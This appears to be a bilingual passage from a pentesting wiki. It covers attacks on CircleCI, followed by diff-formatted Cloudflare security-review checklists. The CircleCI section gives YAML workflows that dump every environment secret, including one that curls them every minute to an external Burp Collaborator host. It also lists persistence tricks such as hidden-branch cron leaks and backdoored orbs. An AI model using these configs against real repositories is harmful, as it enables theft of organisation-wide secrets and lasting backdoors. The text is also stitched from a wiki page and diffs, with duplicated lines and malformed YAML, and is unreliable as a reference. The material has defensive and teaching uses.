You can see them **declared in** _https://app.circleci.com/settings/project/github/\<org_name>/\<repo_name>/environment-variables_
![](<../images/image (129).png>)
> [!CAUTION]
> Die Funktionalität "**Variablen importieren**" ermöglicht es, **Variablen aus anderen Projekten** in dieses zu **importieren**.
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one.
#### Kontextgeheimnisse
#### Context Secrets
Dies sind Geheimnisse, die **organisationsweit** sind. Standardmäßig kann **jedes Repo** **auf jedes Geheimnis** zugreifen, das hier gespeichert ist:
These are secrets that are **org wide**. By **default any repo** is going to be able to **access any secret** stored here:
![](<../images/image (123).png>)
> [!TIP]
> Beachten Sie jedoch, dass eine andere Gruppe (anstatt aller Mitglieder) **ausgewählt werden kann, um den Zugriff auf die Geheimnisse nur bestimmten Personen zu gewähren**.\
> Dies ist derzeit eine der besten Möglichkeiten, um die **Sicherheit der Geheimnisse** zu **erhöhen**, indem nicht jeder Zugriff darauf hat, sondern nur einige Personen.
> However, note that a different group (instead of All members) can be **selected to only give access to the secrets to specific people**.\
> This is currently one of the best ways to **increase the security of the secrets**, to not allow everybody to access them but just some people.
### Angriffe
### Attacks
#### Suche nach Klartextgeheimnissen
#### Search Clear Text Secrets
Wenn Sie **Zugriff auf das VCS** (wie GitHub) haben, überprüfen Sie die Datei `.circleci/config.yml` von **jedem Repo in jedem Branch** und **suchen** Sie nach potenziellen **Klartextgeheimnissen**, die dort gespeichert sind.
If you have **access to the VCS** (like github) check the file `.circleci/config.yml` of **each repo on each branch** and **search** for potential **clear text secrets** stored in there.
#### Aufzählung von geheimen Umgebungsvariablen & Kontexten
#### Secret Env Vars & Context enumeration
Durch Überprüfung des Codes können Sie **alle Geheimnisnamen** finden, die in jeder `.circleci/config.yml`-Datei **verwendet** werden. Sie können auch die **Kontextnamen** aus diesen Dateien abrufen oder sie in der Webkonsole überprüfen: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
Checking the code you can find **all the secrets names** that are being **used** in each `.circleci/config.yml` file. You can also get the **context names** from those files or check them in the web console: _https://app.circleci.com/settings/organization/github/\<org_name>/contexts_.
#### Exfiltration von Projektgeheimnissen
#### Exfiltrate Project secrets
> [!WARNING]
> Um **ALLE** Projekt- und Kontext-**GEHEIMNISSE** zu **exfiltrieren**, müssen Sie **nur** **SCHREIBZUGRIFF** auf **nur 1 Repo** in der gesamten GitHub-Organisation haben (_und Ihr Konto muss Zugriff auf die Kontexte haben, aber standardmäßig kann jeder auf jeden Kontext zugreifen_).
> In order to **exfiltrate ALL** the project and context **SECRETS** you **just** need to have **WRITE** access to **just 1 repo** in the whole github org (_and your account must have access to the contexts but by default everyone can access every context_).
> [!CAUTION]
> Die Funktionalität "**Variablen importieren**" ermöglicht es, **Variablen aus anderen Projekten** in dieses zu **importieren**. Daher könnte ein Angreifer **alle Projektvariablen aus allen Repos importieren** und dann **alle zusammen exfiltrieren**.
> The "**Import Variables**" functionality allows to **import variables from other projects** to this one. Therefore, an attacker could **import all the project variables from all the repos** and then **exfiltrate all of them together**.
All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the **workflows web log console**:
Alle Projektgeheimnisse sind immer in der Umgebung der Jobs gesetzt, sodass das einfache Aufrufen von env und das Obfuskieren in base64 die Geheimnisse in der **Webprotokollkonsole der Workflows** exfiltriert:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env
exfil-env-workflow:
jobs:
- exfil-env
```
Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow erstellen**, der **jede Minute ausgelöst wird** und der **die Geheimnisse an eine externe Adresse exfiltriert**:
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **create a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env
```
#### Exfiltriere Kontextgeheimnisse
Du musst **den Kontextnamen angeben** (dies wird auch die Projektgeheimnisse exfiltrieren):
#### Exfiltrate Context Secrets
You need to **specify the context name** (this will also exfiltrate the project secrets):
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "env | base64"
workflows:
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
jobs:
- exfil-env:
context: Test-Context
```
Wenn Sie **keinen Zugriff auf die Webkonsole** haben, aber **Zugriff auf das Repository** haben und wissen, dass CircleCI verwendet wird, können Sie einfach **einen Workflow ändern**, der **jede Minute ausgelöst wird** und **die Geheimnisse an eine externe Adresse exfiltriert**:
If you **don't have access to the web console** but you have **access to the repo** and you know that CircleCI is used, you can just **modify a workflow** that is **triggered every minute** and that **exfils the secrets to an external address**:
```yaml
version: 2.1
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- run:
name: "Exfil env"
command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"
# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
exfil-env-workflow:
triggers:
- schedule:
cron: "* * * * *"
filters:
branches:
only:
- circleci-project-setup
jobs:
- exfil-env:
context: Test-Context
```
> [!WARNING]
> Das Erstellen einer neuen `.circleci/config.yml` in einem Repo **reicht nicht aus, um einen CircleCI-Build auszulösen**. Sie müssen **es als Projekt in der CircleCI-Konsole aktivieren**.
> Just creating a new `.circleci/config.yml` in a repo **isn't enough to trigger a circleci build**. You need to **enable it as a project in the circleci console**.
#### Escape to Cloud
**CircleCI** bietet Ihnen die Möglichkeit, **Ihre Builds auf ihren Maschinen oder auf Ihren eigenen auszuführen**.\
Standardmäßig befinden sich ihre Maschinen in GCP, und anfangs werden Sie nichts Relevantes finden können. Wenn ein Opfer jedoch die Aufgaben auf **seinen eigenen Maschinen (möglicherweise in einer Cloud-Umgebung)** ausführt, könnten Sie einen **Cloud-Metadaten-Endpunkt mit interessanten Informationen darauf** finden.
**CircleCI** gives you the option to run **your builds in their machines or in your own**.\
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in **their own machines (potentially, in a cloud env)**, you might find a **cloud metadata endpoint with interesting information on it**.
Notice that in the previous examples it was launched everything inside a docker container, but you can also **ask to launch a VM machine** (which may have different cloud permissions):
Beachten Sie, dass in den vorherigen Beispielen alles innerhalb eines Docker-Containers gestartet wurde, aber Sie können auch **bitten, eine VM-Maschine zu starten** (die möglicherweise unterschiedliche Cloud-Berechtigungen hat):
```yaml
jobs:
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
exfil-env:
#docker:
# - image: cimg/base:stable
machine:
image: ubuntu-2004:current
```
Oder sogar einen Docker-Container mit Zugriff auf einen Remote-Docker-Dienst:
Or even a docker container with access to a remote docker service:
```yaml
jobs:
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
exfil-env:
docker:
- image: cimg/base:stable
steps:
- checkout
- setup_remote_docker:
version: 19.03.13
```
#### Persistenz
- Es ist möglich, **Benutzertoken in CircleCI** zu erstellen, um auf die API-Endpunkte mit den Benutzerzugriffsrechten zuzugreifen.
- _https://app.circleci.com/settings/user/tokens_
- Es ist möglich, **Projekttoken** zu erstellen, um auf das Projekt mit den dem Token gegebenen Berechtigungen zuzugreifen.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- Es ist möglich, **SSH-Schlüssel** zu den Projekten hinzuzufügen.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- Es ist möglich, **einen Cron-Job in einem versteckten Branch** in einem unerwarteten Projekt zu erstellen, der jeden Tag alle **Umgebungsvariablen** **leakt**.
- Oder sogar in einem Branch einen bekannten Job zu erstellen/modifizieren, der jeden Tag alle **Kontext- und Projektheimlichkeiten** **leakt**.
- Wenn Sie ein GitHub-Besitzer sind, können Sie **nicht verifizierte Orbs** zulassen und einen in einem Job als **Hintertür** konfigurieren.
- Sie können eine **Befehlsinjektionsanfälligkeit** in einer bestimmten Aufgabe finden und **Befehle** über ein **Geheimnis** injizieren, indem Sie dessen Wert ändern.
#### Persistence
- It's possible to **create** **user tokens in CircleCI** to access the API endpoints with the users access.
- _https://app.circleci.com/settings/user/tokens_
- It's possible to **create projects tokens** to access the project with the permissions given to the token.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/api_
- It's possible to **add SSH keys** to the projects.
- _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
- It's possible to **create a cron job in hidden branch** in an unexpected project that is **leaking** all the **context env** vars everyday.
- Or even create in a branch / modify a known job that will **leak** all context and **projects secrets** everyday.
- If you are a github owner you can **allow unverified orbs** and configure one in a job as **backdoor**
- You can find a **command injection vulnerability** in some task and **inject commands** via a **secret** modifying its value
{{#include ../banners/hacktricks-training.md}}

View File

@@ -2,13 +2,13 @@
{{#include ../../banners/hacktricks-training.md}}
In einem Cloudflare-Account gibt es einige **general settings and services**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen jeder Sektion analysieren:**
In a Cloudflare account there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
## Websites
Prüfe jede mit:
Review each with:
{{#ref}}
cloudflare-domains.md
@@ -16,9 +16,9 @@ cloudflare-domains.md
### Domain Registration
- [ ] In **`Transfer Domains`** prüfen, dass es nicht möglich ist, eine Domain zu transferieren.
- [ ] In **`Transfer Domains`** check that it's not possible to transfer any domain.
Prüfe jede mit:
Review each with:
{{#ref}}
cloudflare-domains.md
@@ -26,43 +26,37 @@ cloudflare-domains.md
## Analytics
_Ich konnte nichts finden, das man für ein Security-Review der Konfiguration überprüfen könnte._
_I couldn't find anything to check for a config security review._
## Pages
Bei jeder Cloudflare Page:
On each Cloudflare's page:
- [ ] Prüfe auf **sensitive information** im **`Build log`**.
- [ ] Prüfe auf **sensitive information** im der der Pages zugeordneten **Github repository**.
- [ ] Prüfe auf mögliche Kompromittierung des github repo via **workflow command injection** oder `pull_request_target`-Kompromittierung. Mehr Infos auf der [**Github Security page**](../github-security/index.html).
- [ ] Prüfe auf potenzielle vulnerable functions im `/fuctions`-Verzeichnis (falls vorhanden), prüfe die **redirects** in der `_redirects`-Datei (falls vorhanden) und **misconfigured headers** in der `_headers`-Datei (falls vorhanden).
- [ ] Prüfe die **web page** auf **Vulnerabilities** per **blackbox** oder **whitebox**, falls du auf den Code zugreifen kannst.
- [ ] In den Details jeder Page `/<page_id>/pages/view/blocklist/settings/functions`. Prüfe auf **sensitive information** in den **`Environment variables`**.
- [ ] In der Detailansicht prüfe außerdem den **build command** und das **root directory** auf **potenzielle Injections**, mit denen die Page kompromittiert werden kann.
- [ ] Check for **sensitive information** in the **`Build log`**.
- [ ] Check for **sensitive information** in the **Github repository** assigned to the pages.
- [ ] Check for potential github repo compromise via **workflow command injection** or `pull_request_target` compromise. More info in the [**Github Security page**](../github-security/index.html).
- [ ] Check for **vulnerable functions** in the `/fuctions` directory (if any), check the **redirects** in the `_redirects` file (if any) and **misconfigured headers** in the `_headers` file (if any).
- [ ] Check for **vulnerabilities** in the **web page** via **blackbox** or **whitebox** if you can **access the code**
- [ ] In the details of each page `/<page_id>/pages/view/blocklist/settings/functions`. Check for **sensitive information** in the **`Environment variables`**.
- [ ] In the details page check also the **build command** and **root directory** for **potential injections** to compromise the page.
## **Workers**
Bei jedem Cloudflare Worker prüfen:
On each Cloudflare's worker check:
- [ ] Die Triggers: Was löst den Worker aus? Kann ein **User Daten senden**, die vom Worker **verwendet** werden?
- [ ] In den **`Settings`** prüfen, ob **`Variables`** **sensitive information** enthalten.
- [ ] Prüfe den **Code des Workers** und suche nach **Vulnerabilities** (besonders an Stellen, an denen der User Input kontrolliert).
- Prüfe auf SSRFs, die die angegebene Seite zurückgeben, die du kontrollieren kannst
- Prüfe XSSs, die JS innerhalb eines svg-Bildes ausführen
- Es ist möglich, dass der Worker mit anderen internen Services interagiert. Beispielsweise kann ein Worker mit einem R2 bucket interagieren, in dem Informationen aus dem Input gespeichert werden. In diesem Fall sollte geprüft werden, welche Berechtigungen der Worker auf dem R2 bucket hat und wie diese über den User-Input missbraucht werden könnten.
- [ ] The triggers: What makes the worker trigger? Can a **user send data** that will be **used** by the worker?
- [ ] In the **`Settings`**, check for **`Variables`** containing **sensitive information**
- [ ] Check the **code of the worker** and search for **vulnerabilities** (specially in places where the user can manage the input)
- Check for SSRFs returning the indicated page that you can control
- Check XSSs executing JS inside a svg image
- It is possible that the worker interacts with other internal services. For example, a worker may interact with a R2 bucket storing information in it obtained from the input. In that case, it would be necessary to check what capabilities does the worker have over the R2 bucket and how could it be abused from the user input.
> [!WARNING]
> Beachte, dass einem **Worker standardmäßig eine URL** wie `<worker-name>.<account>.workers.dev` zugewiesen wird. Der Nutzer kann sie auf eine **Subdomain** setzen, aber du kannst sie immer über diese **Original-URL** erreichen, wenn du sie kennst.
Für einen praktischen Missbrauch von Workers als pass-through proxies (IP rotation, FireProx-style) siehe:
{{#ref}}
cloudflare-workers-pass-through-proxy-ip-rotation.md
{{#endref}}
> Note that by default a **Worker is given a URL** such as `<worker-name>.<account>.workers.dev`. The user can set it to a **subdomain** but you can always access it with that **original URL** if you know it.
## R2
Bei jedem R2 bucket prüfen:
On each R2 bucket check:
- [ ] Configure **CORS Policy**.
@@ -76,8 +70,8 @@ TODO
## Security Center
- [ ] Falls möglich, führe einen **`Security Insights`** **scan** und einen **`Infrastructure`** **scan** aus, da diese sicherheitsrelevante und interessante Informationen **hervorheben**.
- [ ] Prüfe diese Informationen auf Security-Misconfigurations und interessante Hinweise.
- [ ] If possible, run a **`Security Insights`** **scan** and an **`Infrastructure`** **scan**, as they will **highlight** interesting information **security** wise.
- [ ] Just **check this information** for security misconfigurations and interesting info
## Turnstile
@@ -92,49 +86,52 @@ cloudflare-zero-trust-network.md
## Bulk Redirects
> [!NOTE]
> Anders als [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), sind [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) im Wesentlichen statisch — sie unterstützen **keine String-Replacement-Operationen** oder Regular Expressions. Du kannst jedoch URL-Redirect-Parameter konfigurieren, die ihr URL-Matching-Verhalten und ihr Laufzeitverhalten beeinflussen.
> Unlike [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) are essentially static — they do **not support any string replacement** operations or regular expressions. However, you can configure URL redirect parameters that affect their URL matching behavior and their runtime behavior.
- [ ] Prüfe, dass die **expressions** und **requirements** für Redirects **sinnvoll** sind.
- [ ] Prüfe auch auf **sensitive hidden endpoints**, die interessante Informationen enthalten könnten.
- [ ] Check that the **expressions** and **requirements** for redirects **make sense**.
- [ ] Check also for **sensitive hidden endpoints** that you contain interesting info.
## Notifications
- [ ] Prüfe die **Notifications.** Diese Notifications werden für Security empfohlen:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Prüfe alle **destinations**, da in Webhook-URLs **sensitive info** (basic http auth) vorhanden sein kann. Stelle außerdem sicher, dass Webhook-URLs **HTTPS** verwenden.
- [ ] Als zusätzliche Überprüfung könntest du versuchen, eine **Cloudflare-Notification** gegenüber einer Drittpartei zu **impostern**; vielleicht kannst du so etwas Gefährliches injizieren.
- [ ] Check the **notifications.** These notifications are recommended for security:
- `Usage Based Billing`
- `HTTP DDoS Attack Alert`
- `Layer 3/4 DDoS Attack Alert`
- `Advanced HTTP DDoS Attack Alert`
- `Advanced Layer 3/4 DDoS Attack Alert`
- `Flow-based Monitoring: Volumetric Attack`
- `Route Leak Detection Alert`
- `Access mTLS Certificate Expiration Alert`
- `SSL for SaaS Custom Hostnames Alert`
- `Universal SSL Alert`
- `Script Monitor New Code Change Detection Alert`
- `Script Monitor New Domain Alert`
- `Script Monitor New Malicious Domain Alert`
- `Script Monitor New Malicious Script Alert`
- `Script Monitor New Malicious URL Alert`
- `Script Monitor New Scripts Alert`
- `Script Monitor New Script Exceeds Max URL Length Alert`
- `Advanced Security Events Alert`
- `Security Events Alert`
- [ ] Check all the **destinations**, as there could be **sensitive info** (basic http auth) in webhook urls. Make also sure webhook urls use **HTTPS**
- [ ] As extra check, you could try to **impersonate a cloudflare notification** to a third party, maybe you can somehow **inject something dangerous**
## Manage Account
- [ ] In **`Billing` -> `Payment info`** kann man die **letzten 4 Ziffern der Kreditkarte**, das **Ablaufdatum** und die **Rechnungsadresse** sehen.
- [ ] In **`Billing` -> `Subscriptions`** ist der **Plan-Typ** des Accounts sichtbar.
- [ ] In **`Members`** kann man alle Mitglieder des Accounts und ihre **Rolle** sehen. Beachte, dass, wenn der Plan-Typ nicht Enterprise ist, nur 2 Rollen existieren: Administrator und Super Administrator. Wenn jedoch der verwendete **Plan Enterprise** ist, können [**mehr Rollen**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) verwendet werden, um das Least-Privilege-Prinzip umzusetzen.
- Daher wird, wann immer möglich, **empfohlen**, den **Enterprise-Plan** zu nutzen.
- [ ] In Members lässt sich prüfen, welche **Mitglieder** **2FA aktiviert** haben. **Jeder** Benutzer sollte 2FA aktiviert haben.
- [ ] It's possible to see the **last 4 digits of the credit card**, **expiration** time and **billing address** in **`Billing` -> `Payment info`**.
- [ ] It's possible to see the **plan type** used in the account in **`Billing` -> `Subscriptions`**.
- [ ] In **`Members`** it's possible to see all the members of the account and their **role**. Note that if the plan type isn't Enterprise, only 2 roles exist: Administrator and Super Administrator. But if the used **plan is Enterprise**, [**more roles**](https://developers.cloudflare.com/fundamentals/account-and-billing/account-setup/account-roles/) can be used to follow the least privilege principle.
- Therefore, whenever possible is **recommended** to use the **Enterprise plan**.
- [ ] In Members it's possible to check which **members** has **2FA enabled**. **Every** user should have it enabled.
> [!NOTE]
> Glücklicherweise gibt die Rolle **`Administrator`** keine Berechtigungen zur Verwaltung von Memberships (**kann Privilegien nicht eskalieren oder neue Mitglieder einladen**)
> Note that fortunately the role **`Administrator`** doesn't give permissions to manage memberships (**cannot escalate privs or invite** new members)
## DDoS Investigation
[Check this part](cloudflare-domains.md#cloudflare-ddos-protection).
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
In jeder in Cloudflare konfigurierten TLD gibt es einige **allgemeine Einstellungen und Dienste**, die konfiguriert werden können. Auf dieser Seite werden wir die **sicherheitsrelevanten Einstellungen** jeder Sektion **analysieren:**
In each TLD configured in Cloudflare there are some **general settings and services** that can be configured. In this page we are going to **analyze the security related settings of each section:**
<figure><img src="../../images/image (101).png" alt=""><figcaption></figcaption></figure>
### Übersicht
### Overview
- [ ] Ein Gefühl dafür bekommen, **wie viel** die Dienste des Kontos **genutzt** werden
- [ ] Finde auch die **Zone-ID** und die **Kontonummer**
- [ ] Get a feeling of **how much** are the services of the account **used**
- [ ] Find also the **zone ID** and the **account ID**
### Analytik
### Analytics
- [ ] In **`Sicherheit`** überprüfen, ob es eine **Ratenbegrenzung** gibt
- [ ] In **`Security`** check if there is any **Rate limiting**
### DNS
- [ ] Überprüfen Sie **interessante** (sensible?) Daten in den DNS-**Einträgen**
- [ ] Überprüfen Sie auf **Subdomains**, die **sensible Informationen** nur basierend auf dem **Namen** enthalten könnten (wie admin173865324.domin.com)
- [ ] Überprüfen Sie auf Webseiten, die **nicht** **proxied** sind
- [ ] Überprüfen Sie auf **proxifizierte Webseiten**, die **direkt** über CNAME oder IP-Adresse **zugänglich** sind
- [ ] Überprüfen Sie, dass **DNSSEC** **aktiviert** ist
- [ ] Überprüfen Sie, dass **CNAME Flattening** in **allen CNAMEs** **verwendet** wird
- Dies könnte nützlich sein, um **Subdomain-Übernahmeanfälligkeiten** zu **verbergen** und die Ladezeiten zu verbessern
- [ ] Überprüfen Sie, dass die Domains [**nicht anfällig für Spoofing sind**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
- [ ] Check **interesting** (sensitive?) data in DNS **records**
- [ ] Check for **subdomains** that could contain **sensitive info** just based on the **name** (like admin173865324.domin.com)
- [ ] Check for web pages that **aren't** **proxied**
- [ ] Check for **proxified web pages** that can be **accessed directly** by CNAME or IP address
- [ ] Check that **DNSSEC** is **enabled**
- [ ] Check that **CNAME Flattening** is **used** in **all CNAMEs**
- This is could be useful to **hide subdomain takeover vulnerabilities** and improve load timings
- [ ] Check that the domains [**aren't vulnerable to spoofing**](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html#mail-spoofing)
### **E-Mail**
### **Email**
TODO
@@ -36,82 +36,82 @@ TODO
### SSL/TLS
#### **Übersicht**
#### **Overview**
- [ ] Die **SSL/TLS-Verschlüsselung** sollte **Voll** oder **Voll (Streng)** sein. Jede andere wird zu einem bestimmten Zeitpunkt **Klartextverkehr** senden.
- [ ] Der **SSL/TLS-Empfehlungsdienst** sollte aktiviert sein
- [ ] The **SSL/TLS encryption** should be **Full** or **Full (Strict)**. Any other will send **clear-text traffic** at some point.
- [ ] The **SSL/TLS Recommender** should be enabled
#### Edge-Zertifikate
#### Edge Certificates
- [ ] **Immer HTTPS verwenden** sollte **aktiviert** sein
- [ ] **HTTP Strict Transport Security (HSTS)** sollte **aktiviert** sein
- [ ] **Minimale TLS-Version sollte 1.2** sein
- [ ] **TLS 1.3 sollte aktiviert** sein
- [ ] **Automatische HTTPS-Umschreibungen** sollten **aktiviert** sein
- [ ] **Zertifikatstransparenzüberwachung** sollte **aktiviert** sein
- [ ] **Always Use HTTPS** should be **enabled**
- [ ] **HTTP Strict Transport Security (HSTS)** should be **enabled**
- [ ] **Minimum TLS Version should be 1.2**
- [ ] **TLS 1.3 should be enabled**
- [ ] **Automatic HTTPS Rewrites** should be **enabled**
- [ ] **Certificate Transparency Monitoring** should be **enabled**
### **Sicherheit**
### **Security**
- [ ] Im Abschnitt **`WAF`** ist es interessant zu überprüfen, ob **Firewall**- und **Ratenbegrenzungsregeln verwendet werden**, um Missbrauch zu verhindern.
- Die **`Bypass`**-Aktion wird die **Cloudflare-Sicherheits**-Funktionen für eine Anfrage **deaktivieren**. Sie sollte nicht verwendet werden.
- [ ] Im Abschnitt **`Page Shield`** wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine Seite verwendet wird
- [ ] Im Abschnitt **`API Shield`** wird empfohlen zu überprüfen, ob es **aktiviert** ist, wenn eine API in Cloudflare exponiert ist
- [ ] Im Abschnitt **`DDoS`** wird empfohlen, die **DDoS-Schutzmaßnahmen** zu aktivieren
- [ ] Im Abschnitt **`Einstellungen`**:
- [ ] Überprüfen Sie, dass das **`Sicherheitsniveau`** **mittel** oder höher ist
- [ ] Überprüfen Sie, dass die **`Challenge Passage`** maximal 1 Stunde beträgt
- [ ] Überprüfen Sie, dass die **`Browser-Integritätsprüfung`** **aktiviert** ist
- [ ] Überprüfen Sie, dass die **`Privacy Pass Support`** **aktiviert** ist
- [ ] In the **`WAF`** section it's interesting to check that **Firewall** and **rate limiting rules are used** to prevent abuses.
- The **`Bypass`** action will **disable Cloudflare security** features for a request. It shouldn't be used.
- [ ] In the **`Page Shield`** section it's recommended to check that it's **enabled** if any page is used
- [ ] In the **`API Shield`** section it's recommended to check that it's **enabled** if any API is exposed in Cloudflare
- [ ] In the **`DDoS`** section it's recommended to enable the **DDoS protections**
- [ ] In the **`Settings`** section:
- [ ] Check that the **`Security Level`** is **medium** or greater
- [ ] Check that the **`Challenge Passage`** is 1 hour at max
- [ ] Check that the **`Browser Integrity Check`** is **enabled**
- [ ] Check that the **`Privacy Pass Support`** is **enabled**
#### **CloudFlare DDoS-Schutz**
#### **CloudFlare DDoS Protection**
- Wenn möglich, aktivieren Sie den **Bot Fight Mode** oder den **Super Bot Fight Mode**. Wenn Sie eine API schützen, die programmgesteuert (z. B. von einer JS-Frontend-Seite) aufgerufen wird. Möglicherweise können Sie dies nicht aktivieren, ohne den Zugriff zu beeinträchtigen.
- In **WAF**: Sie können **Ratenlimits nach URL-Pfad** oder für **verifizierte Bots** (Ratenbegrenzungsregeln) erstellen oder den **Zugriff** basierend auf IP, Cookie, Referrer... **blockieren**. So könnten Sie Anfragen blockieren, die nicht von einer Webseite stammen oder kein Cookie haben.
- Wenn der Angriff von einem **verifizierten Bot** kommt, fügen Sie mindestens ein **Ratenlimit** für Bots hinzu.
- Wenn der Angriff auf einen **bestimmten Pfad** abzielt, fügen Sie als Präventionsmechanismus ein **Ratenlimit** in diesem Pfad hinzu.
- Sie können auch IP-Adressen, IP-Bereiche, Länder oder ASNs aus den **Tools** in WAF **whitelisten**.
- Überprüfen Sie, ob **verwaltete Regeln** auch helfen könnten, um die Ausnutzung von Schwachstellen zu verhindern.
- Im Abschnitt **Tools** können Sie **bestimmte IPs** und **Benutzeragenten blockieren oder eine Herausforderung stellen.**
- In DDoS könnten Sie **einige Regeln überschreiben, um sie restriktiver zu machen**.
- **Einstellungen**: Setzen Sie das **Sicherheitsniveau** auf **Hoch** und auf **Unter Angriff**, wenn Sie unter Angriff stehen und die **Browser-Integritätsprüfung aktiviert** ist.
- In Cloudflare Domains -> Analytik -> Sicherheit -> Überprüfen Sie, ob die **Ratenbegrenzung** aktiviert ist
- In Cloudflare Domains -> Sicherheit -> Ereignisse -> Überprüfen Sie auf **erfasste bösartige Ereignisse**
- If you can, enable **Bot Fight Mode** or **Super Bot Fight Mode**. If you protecting some API accessed programmatically (from a JS front end page for example). You might not be able to enable this without breaking that access.
- In **WAF**: You can create **rate limits by URL path** or to **verified bots** (Rate limiting rules), or to **block access** based on IP, Cookie, referrer...). So you could block requests that doesn't come from a web page or has a cookie.
- If the attack is from a **verified bot**, at least **add a rate limit** to bots.
- If the attack is to a **specific path**, as prevention mechanism, add a **rate limit** in this path.
- You can also **whitelist** IP addresses, IP ranges, countries or ASNs from the **Tools** in WAF.
- Check if **Managed rules** could also help to prevent vulnerability exploitations.
- In the **Tools** section you can **block or give a challenge to specific IPs** and **user agents.**
- In DDoS you could **override some rules to make them more restrictive**.
- **Settings**: Set **Security Level** to **High** and to **Under Attack** if you are Under Attack and that the **Browser Integrity Check is enabled**.
- In Cloudflare Domains -> Analytics -> Security -> Check if **rate limit** is enabled
- In Cloudflare Domains -> Security -> Events -> Check for **detected malicious Events**
### Zugriff
### Access
{{#ref}}
cloudflare-zero-trust-network.md
{{#endref}}
### Geschwindigkeit
### Speed
_Ich konnte keine Option finden, die mit Sicherheit zu tun hat_
_I couldn't find any option related to security_
### Caching
- [ ] Im Abschnitt **`Konfiguration`** sollten Sie in Betracht ziehen, das **CSAM-Scanning-Tool** zu aktivieren
- [ ] In the **`Configuration`** section consider enabling the **CSAM Scanning Tool**
### **Workers-Routen**
### **Workers Routes**
_Sie sollten bereits_ [_cloudflare workers_](#workers) _überprüft haben_
_You should have already checked_ [_cloudflare workers_](#workers)
### Regeln
### Rules
TODO
### Netzwerk
### Network
- [ ] Wenn **`HTTP/2`** **aktiviert** ist, sollte **`HTTP/2 zu Origin`** **aktiviert** sein
- [ ] **`HTTP/3 (mit QUIC)`** sollte **aktiviert** sein
- [ ] Wenn die **Privatsphäre** Ihrer **Benutzer** wichtig ist, stellen Sie sicher, dass **`Onion Routing`** **aktiviert** ist
- [ ] If **`HTTP/2`** is **enabled**, **`HTTP/2 to Origin`** should be **enabled**
- [ ] **`HTTP/3 (with QUIC)`** should be **enabled**
